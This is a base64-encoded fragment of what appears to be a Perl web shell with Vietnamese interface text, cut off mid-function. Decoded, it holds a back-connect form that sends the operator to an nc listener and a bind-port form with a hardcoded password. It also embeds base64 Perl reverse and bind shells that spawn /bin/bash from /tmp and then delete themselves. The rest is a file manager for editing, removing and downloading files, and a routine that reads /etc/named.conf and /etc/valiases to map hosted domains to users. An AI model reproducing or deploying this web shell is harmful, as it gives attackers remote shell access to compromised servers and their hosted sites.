LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBCYWNrY29ubmVjdCBGb3JtDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQmFja0JpbmRGb3JtDQp7DQoJcmV0dXJuIDw8RU5EOw0KCTxicj48YnI+DQoNCgk8dGFibGU+DQoJPHRyPg0KCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KCTx0ZD5CYWNrQ29ubmVjdDogPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJhY2tiaW5kIj48L3RkPg0KCTx0ZD4gSG9zdDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjIwIiBuYW1lPSJjbGllbnRhZGRyIiB2YWx1ZT0iJEVOVnsnUkVNT1RFX0FERFInfSI+DQoJIFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI3IiBuYW1lPSJjbGllbnRwb3J0IiB2YWx1ZT0iODAiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiYScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+PC90ZD4NCg0KCTx0ZD48aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJDb25uZWN0Ij48L3RkPg0KCTwvZm9ybT4NCgk8L3RyPg0KCTx0cj4NCgk8dGQgY29sc3Bhbj0zPjxmb250IGNvbG9yPSNGRkZGRkY+WytdIENsaWVudCBsaXN0ZW4gYmVmb3JlIGNvbm5lY3QgYmFjayENCgk8YnI+WytdIFRyeSBjaGVjayB5b3VyIFBvcnQgd2l0aCA8YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iaHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvIj5odHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy88L2E+DQoJPGJyPlsrXSBDbGllbnQgbGlzdGVuIHdpdGggY29tbWFuZDogPHJ1bj5uYyAtdnYgLWwgLXAgPHNwYW4gaWQ9ImJhIj44MDwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4NCg0KCTwvdHI+DQoJPC90YWJsZT4NCg0KCTxicj48YnI+DQoJPHRhYmxlPg0KCTx0cj4NCgk8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCgk8dGQ+QmluZCBQb3J0OiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYmFja2JpbmQiPjwvdGQ+DQoNCgk8dGQ+IFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjE0MTIiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiaScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+DQoNCgkgUGFzc3dvcmQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iYmluZHBhc3MiIHZhbHVlPSJUSElFVUdJQUJVT04iPjwvdGQ+DQoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkJpbmQiPjwvdGQ+DQoJPC9mb3JtPg0KCTwvdHI+DQoJPHRyPg0KCTx0ZCBjb2xzcGFuPTM+PGZvbnQgY29sb3I9I0ZGRkZGRj5bK10gQ2h1YyBuYW5nIGNodWEgZGMgdGVzdCENCgk8YnI+WytdIFRyeSBjb21tYW5kOiA8cnVuPm5jICRFTlZ7J1NFUlZFUl9BRERSJ30gPHNwYW4gaWQ9ImJpIj4xNDEyPC9zcGFuPjwvcnVuPjwvZm9udD48L3RkPg0KDQoJPC90cj4NCgk8L3RhYmxlPjxicj4NCkVORA0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBCYWNrY29ubmVjdCB1c2UgcGVybA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJhY2tCaW5kDQp7DQoJdXNlIE1JTUU6OkJhc2U2NDsNCgl1c2UgU29ja2V0OwkNCgkkYmFja3Blcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdTVTg2T2xOdlkydGxkRHNOQ2lSVGFHVnNiQWs5SUNJdlltbHVMMkpoYzJnaU93MEtKRUZTUjBNOVFFRlNSMVk3RFFwMWMyVWdVMjlqYTJWME93MEtkWE5sSUVacGJHVklZVzVrYkdVN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2daMlYwY0hKdmRHOWllVzVoYldVb0luUmpjQ0lwS1NCdmNpQmthV1VnY0hKcGJuUWdJbHN0WFNCVmJtRmliR1VnZEc4Z1VtVnpiMngyWlNCSWIzTjBYRzRpT3cwS1kyOXVibVZqZENoVFQwTkxSVlFzSUhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQnBibVYwWDJGMGIyNG9KRUZTUjFaYk1GMHBLU2tnYjNJZ1pHbGxJSEJ5YVc1MElDSmJMVjBnVlc1aFlteGxJSFJ2SUVOdmJtNWxZM1FnU0c5emRGeHVJanNOQ25CeWFXNTBJQ0pEYjI1dVpXTjBaV1FoSWpzTkNsTlBRMHRGVkMwK1lYVjBiMlpzZFhOb0tDazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENJK0psTlBRMHRGVkNJcE93MEtiM0JsYmloVFZFUkZVbElzSWo0bVUwOURTMFZVSWlrN0RRcHdjbWx1ZENBaUxTMDlQU0JEYjI1dVpXTjBaV1FnUW1GamEyUnZiM0lnUFQwdExTQWdYRzVjYmlJN0RRcHplWE4wWlcwb0luVnVjMlYwSUVoSlUxUkdTVXhGT3lCMWJuTmxkQ0JUUVZaRlNFbFRWQ0E3WldOb2J5QW5XeXRkSUZONWMzUmxiV2x1Wm04NklDYzdJSFZ1WVcxbElDMWhPMlZqYUc4N1pXTm9ieUFuV3l0ZElGVnpaWEpwYm1adk9pQW5PeUJwWkR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JFYVhKbFkzUnZjbms2SUNjN0lIQjNaRHRsWTJodk95QmxZMmh2SUNkYksxMGdVMmhsYkd3NklDYzdKRk5vWld4c0lpazdEUXBqYkc5elpTQlRUME5MUlZRNyI7DQoJJGJpbmRwZXJsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkVGU1IwTTlRRUZTUjFZN0RRb2tjRzl5ZEFrOUlDUkJVa2RXV3pCZE93MEtKSEJ5YjNSdkNUMGdaMlYwY0hKdmRHOWllVzVoYldVb0ozUmpjQ2NwT3cwS0pGTm9aV3hzQ1QwZ0lpOWlhVzR2WW1GemFDSTdEUXB6YjJOclpYUW9VMFZTVmtWU0xDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLVzl5SUdScFpTQWljMjlqYTJWME9pUWhJanNOQ25ObGRITnZZMnR2Y0hRb1UwVlNWa1ZTTENCVFQweGZVMDlEUzBWVUxDQlRUMTlTUlZWVFJVRkVSRklzSUhCaFkyc29JbXdpTENBeEtTbHZjaUJrYVdVZ0luTmxkSE52WTJ0dmNIUTZJQ1FoSWpzTkNtSnBibVFvVTBWU1ZrVlNMQ0J6YjJOcllXUmtjbDlwYmlna2NHOXlkQ3dnU1U1QlJFUlNYMEZPV1NrcGIzSWdaR2xsSUNKaWFXNWtPaUFrSVNJN0RRcHNhWE4wWlc0b1UwVlNWa1ZTTENCVFQwMUJXRU5QVGs0cENRbHZjaUJrYVdVZ0lteHBjM1JsYmpvZ0pDRWlPdzBLWm05eUtEc2dKSEJoWkdSeUlEMGdZV05qWlhCMEtFTk1TVVZPVkN3Z1UwVlNWa1ZTS1RzZ1kyeHZjMlVnUTB4SlJVNVVLUTBLZXcwS0NXOXdaVzRvVTFSRVNVNHNJQ0krSmtOTVNVVk9WQ0lwT3cwS0NXOXdaVzRvVTFSRVQxVlVMQ0FpUGlaRFRFbEZUbFFpS1RzTkNnbHZjR1Z1S0ZOVVJFVlNVaXdnSWo0bVEweEpSVTVVSWlrN0RRb0pjM2x6ZEdWdEtDSjFibk5sZENCSVNWTlVSa2xNUlRzZ2RXNXpaWFFnVTBGV1JVaEpVMVFnTzJWamFHOGdKMXNyWFNCVGVYTjBaVzFwYm1adk9pQW5PeUIxYm1GdFpTQXRZVHRsWTJodk8yVmphRzhnSjFzclhTQlZjMlZ5YVc1bWJ6b2dKenNnYVdRN1pXTm9ienRsWTJodklDZGJLMTBnUkdseVpXTjBiM0o1T2lBbk95QndkMlE3WldOb2J6c2daV05vYnlBbld5dGRJRk5vWld4c09pQW5PeVJUYUdWc2JDSXBPdzBLQ1dOc2IzTmxLRk5VUkVsT0tUc05DZ2xqYkc5elpTaFRWRVJQVlZRcE93MEtDV05zYjNObEtGTlVSRVZTVWlrN0RRcDlEUW89IjsNCg0KCSRDbGllbnRBZGRyID0gJGlueydjbGllbnRhZGRyJ307DQoJJENsaWVudFBvcnQgPSBpbnQoJGlueydjbGllbnRwb3J0J30pOw0KCWlmKCRDbGllbnRQb3J0IGVxIDApDQoJew0KCQlyZXR1cm4gJkJhY2tCaW5kRm9ybTsNCgl9ZWxzaWYoISRDbGllbnRBZGRyIGVxICIiKQ0KCXsNCgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmFja3BlcmwpOw0KCQlpZigtdyAiL3RtcC8iKQ0KCQl7DQoJCQkkRmlsZT0iL3RtcC9iYWNrY29ubmVjdC5wbCI7CQ0KCQl9ZWxzZQ0KCQl7DQoJCQkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4iYmFja2Nvbm5lY3QucGwiOw0KCQl9DQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOw0KCQlwcmludCBGSUxFICREYXRhOw0KCQljbG9zZSBGSUxFOw0KCQlzeXN0ZW0oInBlcmwgYmFja2Nvbm5lY3QucGwgJENsaWVudEFkZHIgJENsaWVudFBvcnQiKTsNCgkJdW5saW5rKCRGaWxlKTsNCgkJZXhpdCAwOw0KCX1lbHNlDQoJew0KCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiaW5kcGVybCk7DQoJCWlmKC13ICIvdG1wIikNCgkJew0KCQkJJEZpbGU9Ii90bXAvYmluZHBvcnQucGwiOwkNCgkJfWVsc2UNCgkJew0KCQkJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuImJpbmRwb3J0LnBsIjsNCgkJfQ0KCQlvcGVuKEZJTEUsICI+JEZpbGUiKTsNCgkJcHJpbnQgRklMRSAkRGF0YTsNCgkJY2xvc2UgRklMRTsNCgkJc3lzdGVtKCJwZXJsIGJpbmRwb3J0LnBsICRDbGllbnRQb3J0Iik7DQoJCXVubGluaygkRmlsZSk7DQoJCWV4aXQgMDsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojICBBcnJheSBMaXN0IERpcmVjdG9yeQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFJtRGlyKCQpIA0Kew0KCW15ICRkaXIgPSBzaGlmdDsNCiAgICBpZihvcGVuZGlyKERJUiwkZGlyKSkNCgl7DQoJCXdoaWxlKCRmaWxlID0gcmVhZGRpcihESVIpKQ0KCQl7DQoJCQlpZigoJGZpbGUgbmUgIi4iKSAmJiAoJGZpbGUgbmUgIi4uIikpDQoJCQl7DQoJCQkJJGZpbGU9ICRkaXIuJFBhdGhTZXAuJGZpbGU7DQoJCQkJaWYoLWQgJGZpbGUpDQoJCQkJew0KCQkJCQkmUm1EaXIoJGZpbGUpOw0KCQkJCX0NCgkJCQllbHNlDQoJCQkJew0KCQkJCQl1bmxpbmsoJGZpbGUpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQljbG9zZWRpcihESVIpOw0KCX0NCglpZighcm1kaXIoJGRpcikpDQoJew0KCQkNCgl9DQp9DQpzdWIgRmlsZU93bmVyKCQpDQp7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglpZigtZSAkZmlsZSkNCgl7DQoJCSgkdWlkLCRnaWQpID0gKHN0YXQoJGZpbGUpKVs0LDVdOw0KCQlpZigkV2luTlQpDQoJCXsNCgkJCXJldHVybiAiPz8/IjsNCgkJfQ0KCQllbHNlDQoJCXsNCgkJCSRuYW1lPWdldHB3dWlkKCR1aWQpOw0KCQkJJGdyb3VwPWdldGdyZ2lkKCRnaWQpOw0KCQkJcmV0dXJuICRuYW1lLiIvIi4kZ3JvdXA7DQoJCX0NCgl9DQoJcmV0dXJuICI/Pz8iOw0KfQ0Kc3ViIFBhcmVudEZvbGRlcigkKQ0Kew0KCW15ICRwYXRoID0gc2hpZnQ7DQoJbXkgJENvbW0gPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAuLiIuJENtZFNlcC4kQ21kUHdkOw0KCWNob3AoJHBhdGggPSBgJENvbW1gKTsNCglyZXR1cm4gJHBhdGg7DQp9DQpzdWIgRmlsZVBlcm1zKCQpDQp7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglteSAkdXIgPSAiLSI7DQoJbXkgJHV3ID0gIi0iOw0KCWlmKC1lICRmaWxlKQ0KCXsNCgkJaWYoJFdpbk5UKQ0KCQl7DQoJCQlpZigtciAkZmlsZSl7ICR1ciA9ICJyIjsgfQ0KCQkJaWYoLXcgJGZpbGUpeyAkdXcgPSAidyI7IH0NCgkJCXJldHVybiAkdXIgLiAiIC8gIiAuICR1dzsNCgkJfWVsc2UNCgkJew0KCQkJJG1vZGU9KHN0YXQoJGZpbGUpKVsyXTsNCgkJCSRyZXN1bHQgPSBzcHJpbnRmKCIlMDRvIiwgJG1vZGUgJiAwNzc3Nyk7DQoJCQlyZXR1cm4gJHJlc3VsdDsNCgkJfQ0KCX0NCglyZXR1cm4gIjAwMDAiOw0KfQ0Kc3ViIEZpbGVMYXN0TW9kaWZpZWQoJCkNCnsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCWlmKC1lICRmaWxlKQ0KCXsNCgkJKCRsYSkgPSAoc3RhdCgkZmlsZSkpWzldOw0KCQkoJGQsJG0sJHksJGgsJGkpID0gKGxvY2FsdGltZSgkbGEpKVszLDQsNSwyLDFdOw0KCQkkeSA9ICR5ICsgMTkwMDsNCgkJQG1vbnRoID0gcXcvMSAyIDMgNCA1IDYgNyA4IDkgMTAgMTEgMTIvOw0KCQkkbG10aW1lID0gc3ByaW50ZigiJTAyZC8lcy8lNGQgJTAyZDolMDJkIiwkZCwkbW9udGhbJG1dLCR5LCRoLCRpKTsNCgkJcmV0dXJuICRsbXRpbWU7DQoJfQ0KCXJldHVybiAiPz8/IjsNCn0NCnN1YiBGaWxlU2l6ZSgkKQ0Kew0KCW15ICRmaWxlID0gc2hpZnQ7DQoJaWYoLWYgJGZpbGUpDQoJew0KCQlyZXR1cm4gLXMgJGZpbGU7DQoJfQ0KCXJldHVybiAiMCI7DQoNCn0NCnN1YiBQYXJzZUZpbGVTaXplKCQpDQp7DQoJbXkgJHNpemUgPSBzaGlmdDsNCglpZigkc2l6ZSA8PSAxMDI0KQ0KCXsNCgkJcmV0dXJuICRzaXplLiAiIEIiOw0KCX0NCgllbHNlDQoJew0KCQlpZigkc2l6ZSA8PSAxMDI0KjEwMjQpIA0KCQl7DQoJCQkkc2l6ZSA9IHNwcmludGYoIiUuMDJmIiwkc2l6ZSAvIDEwMjQpOw0KCQkJcmV0dXJuICRzaXplLiIgS0IiOw0KCQl9DQoJCWVsc2UgDQoJCXsNCgkJCSRzaXplID0gc3ByaW50ZigiJS4yZiIsJHNpemUgLyAxMDI0IC8gMTAyNCk7DQoJCQlyZXR1cm4gJHNpemUuIiBNQiI7DQoJCX0NCgl9DQp9DQpzdWIgdHJpbSgkKQ0Kew0KCW15ICRzdHJpbmcgPSBzaGlmdDsNCgkkc3RyaW5nID1+IHMvXlxzKy8vOw0KCSRzdHJpbmcgPX4gcy9ccyskLy87DQoJcmV0dXJuICRzdHJpbmc7DQp9DQpzdWIgQWRkU2xhc2hlcygkKQ0Kew0KCW15ICRzdHJpbmcgPSBzaGlmdDsNCgkkc3RyaW5nPX4gcy9cXC9cXFxcL2c7DQoJcmV0dXJuICRzdHJpbmc7DQp9DQpzdWIgTGlzdERpcg0Kew0KCW15ICRwYXRoID0gJEN1cnJlbnREaXIuJFBhdGhTZXA7DQoJJHBhdGg9fiBzL1xcXFwvXFwvZzsNCglteSAkcmVzdWx0ID0gIjxmb3JtIG5hbWU9J2YnIGFjdGlvbj0nJFNjcmlwdExvY2F0aW9uJz48c3BhbiBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPlBhdGg6IFsgIi4mQWRkTGlua0RpcigiZ3VpIikuIiBdIDwvc3Bhbj48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nZCcgc2l6ZT0nNDAnIHZhbHVlPSckQ3VycmVudERpcicgLz48aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdhJyB2YWx1ZT0nZ3VpJz48aW5wdXQgY2xhc3M9J3N1Ym1pdCcgdHlwZT0nc3VibWl0JyB2YWx1ZT0nQ2hhbmdlJz48L2Zvcm0+IjsNCglpZigtZCAkcGF0aCkNCgl7DQoJCW15IEBmbmFtZSA9ICgpOw0KCQlteSBAZG5hbWUgPSAoKTsNCgkJaWYob3BlbmRpcihESVIsJHBhdGgpKQ0KCQl7DQoJCQl3aGlsZSgkZmlsZSA9IHJlYWRkaXIoRElSKSkNCgkJCXsNCgkJCQkkZj0kcGF0aC4kZmlsZTsNCgkJCQlpZigtZCAkZikNCgkJCQl7DQoJCQkJCXB1c2goQGRuYW1lLCRmaWxlKTsNCgkJCQl9DQoJCQkJZWxzZQ0KCQkJCXsNCgkJCQkJcHVzaChAZm5hbWUsJGZpbGUpOw0KCQkJCX0NCgkJCX0NCgkJCWNsb3NlZGlyKERJUik7DQoJCX0NCgkJQGZuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGZuYW1lOw0KCQlAZG5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZG5hbWU7DQoJCSRyZXN1bHQgLj0gIjxkaXY+PHRhYmxlIHdpZHRoPSc5MCUnIGNsYXNzPSdsaXN0ZGlyJz4NCg0KCQk8dHIgc3R5bGU9J2JhY2tncm91bmQtY29sb3I6ICMzZTNlM2UnPjx0aD5GaWxlIE5hbWU8L3RoPg0KCQk8dGggc3R5bGU9J3dpZHRoOjEwMHB4Oyc+RmlsZSBTaXplPC90aD4NCgkJPHRoIHN0eWxlPSd3aWR0aDoxNTBweDsnPk93bmVyPC90aD4NCgkJPHRoIHN0eWxlPSd3aWR0aDoxMDBweDsnPlBlcm1pc3Npb248L3RoPg0KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+TGFzdCBNb2RpZmllZDwvdGg+DQoJCTx0aCBzdHlsZT0nd2lkdGg6MjYwcHg7Jz5BY3Rpb248L3RoPjwvdHI+IjsNCgkJbXkgJHN0eWxlPSJsaW5lIjsNCgkJbXkgJGk9MDsNCgkJZm9yZWFjaCBteSAkZCAoQGRuYW1lKQ0KCQl7DQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGQgPSAmdHJpbSgkZCk7DQoJCQkkZGlybmFtZT0kZDsNCgkJCWlmKCRkIGVxICIuLiIpIA0KCQkJew0KCQkJCSRkID0gJlBhcmVudEZvbGRlcigkcGF0aCk7DQoJCQl9DQoJCQllbHNpZigkZCBlcSAiLiIpIA0KCQkJew0KCQkJCSRkID0gJHBhdGg7DQoJCQl9DQoJCQllbHNlIA0KCQkJew0KCQkJCSRkID0gJHBhdGguJGQ7DQoJCQl9DQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+DQoNCgkJCTx0ZCBpZD0nRmlsZV8kaScgc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz48YSAgaHJlZj0nP2E9Z3VpJmQ9Ii4kZC4iJz5bICIuJGRpcm5hbWUuIiBdPC9hPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD5ESVI8L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZU93bmVyKCRkKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkIGlkPSdGaWxlUGVybXNfJGknIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIG9uZGJsY2xpY2s9XCJybV9jaG1vZF9mb3JtKHRoaXMsIi4kaS4iLCciLiZGaWxlUGVybXMoJGQpLiInLCciLiRkaXJuYW1lLiInKVwiID48c3BhbiBvbmNsaWNrPVwiY2htb2RfZm9ybSgiLiRpLiIsJyIuJGRpcm5hbWUuIicpXCIgPiIuJkZpbGVQZXJtcygkZCkuIjwvc3Bhbj48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZCkuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz48YSBocmVmPSdqYXZhc2NyaXB0OnJldHVybiBmYWxzZTsnIG9uY2xpY2s9XCJyZW5hbWVfZm9ybSgkaSwnJGRpcm5hbWUnLCciLiZBZGRTbGFzaGVzKCZBZGRTbGFzaGVzKCRkKSkuIicpXCI+UmVuYW1lPC9hPiAgfCA8YSBvbmNsaWNrPVwiaWYoIWNvbmZpcm0oJ1JlbW92ZSBkaXI6ICRkaXJuYW1lID8nKSkgeyByZXR1cm4gZmFsc2U7fVwiIGhyZWY9Jz9hPWd1aSZkPSRwYXRoJnJlbW92ZT0kZGlybmFtZSc+UmVtb3ZlPC9hPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsNCgkJCSRpKys7DQoJCX0NCgkJZm9yZWFjaCBteSAkZiAoQGZuYW1lKQ0KCQl7DQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGZpbGU9JGY7DQoJCQkkZiA9ICRwYXRoLiRmOw0KCQkJJHZpZXcgPSAiP2Rpcj0iLiRwYXRoLiImdmlldz0iLiRmOw0KCQkJJHJlc3VsdCAuPSAiPHRyIGNsYXNzPSckc3R5bGUnPjx0ZCBpZD0nRmlsZV8kaScgc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsnPjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0iLiRwYXRoLiImYz1lZGl0JTIwIi4kZmlsZS4iJz4iLiRmaWxlLiI8L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPiIuJlBhcnNlRmlsZVNpemUoJkZpbGVTaXplKCRmKSkuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlT3duZXIoJGYpLiI8L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgaWQ9J0ZpbGVQZXJtc18kaScgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOycgb25kYmxjbGljaz1cInJtX2NobW9kX2Zvcm0odGhpcywiLiRpLiIsJyIuJkZpbGVQZXJtcygkZikuIicsJyIuJGZpbGUuIicpXCIgPjxzcGFuIG9uY2xpY2s9XCJjaG1vZF9mb3JtKCRpLCckZmlsZScpXCIgPiIuJkZpbGVQZXJtcygkZikuIjwvc3Bhbj48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZikuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz48YSBocmVmPSc/YT1jb21tYW5kJmQ9Ii4kcGF0aC4iJmM9ZWRpdCUyMCIuJGZpbGUuIic+RWRpdDwvYT4gfCA8YSBocmVmPSdqYXZhc2NyaXB0OnJldHVybiBmYWxzZTsnIG9uY2xpY2s9XCJyZW5hbWVfZm9ybSgkaSwnJGZpbGUnLCdmJylcIj5SZW5hbWU8L2E+IHwgPGEgaHJlZj0nP2E9ZG93bmxvYWQmbz1nbyZmPSIuJGYuIic+RG93bmxvYWQ8L2E+IHwgPGEgb25jbGljaz1cImlmKCFjb25maXJtKCdSZW1vdmUgZmlsZTogJGZpbGUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9JHBhdGgmcmVtb3ZlPSRmaWxlJz5SZW1vdmU8L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPC90cj4iOw0KCQkJJGkrKzsNCgkJfQ0KCQkkcmVzdWx0IC49ICI8L3RhYmxlPjwvZGl2PiI7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUcnkgdG8gVmlldyBMaXN0IFVzZXINCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBWaWV3RG9tYWluVXNlcg0Kew0KCW9wZW4gKGRvbWFpbnMsICcvZXRjL25hbWVkLmNvbmYnKSBvciAkZXJyPTE7DQoJbXkgQGNuenMgPSA8ZG9tYWlucz47DQoJY2xvc2UgZDBtYWluczsNCglteSAkc3R5bGU9ImxpbmUiOw0KCW15ICRyZXN1bHQ9IjxoNT48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBWZXJkYW5hO2NvbG9yOiAjZmY5OTAwOyc+SG9hbmcgU2EgLSBUcnVvbmcgU2E8L2ZvbnQ+PC9oNT4iOw0KCWlmICgkZXJyKQ0KCXsNCgkJJHJlc3VsdCAuPSAgKCc8cD5DMHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A+Jyk7DQoJCXJldHVybiAkcmVzdWx0Ow0KCX1lbHNlDQoJew0KCQkkcmVzdWx0IC49ICc8dGFibGU+PHRyPjx0aD5Eb21haW5zPC90aD4gPHRoPlVzZXI8L3RoPjwvdHI+JzsNCgl9DQoJZm9yZWFjaCBteSAkb25lIChAY256cykNCgl7DQoJCWlmKCRvbmUgPX4gbS8uKj96b25lICIoLio/KSIgey8pDQoJCXsJDQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGZpbGVuYW1lPSAiL2V0Yy92YWxpYXNlcy8iLiRvbmU7DQoJCQkkb3duZXIgPSBnZXRwd3VpZCgoc3RhdCgkZmlsZW5hbWUpKVs0XSk7DQoJCQkkcmVzdWx0IC49ICc8dHIgY2xhc3M9IiRzdHlsZSIgd2lkdGg9NTAlPjx0ZD4nLiRvbmUuJyA8L3RkPjx0ZD4gJy4kb3duZXIuJzwvdGQ+PC90cj4nOw0KCQl9DQoJfQ0KCSRyZXN1bHQgLj0gJzwvdGFibGU+JzsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVmlldyBMb2cNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBWaWV3TG9nDQp7DQoJaWYoJFdpbk5UKQ0KCXsNCgkJcmV0dXJuICI8aDI+PGZvbnQgc3R5bGU9J2ZvbnQ6IDIwcHQ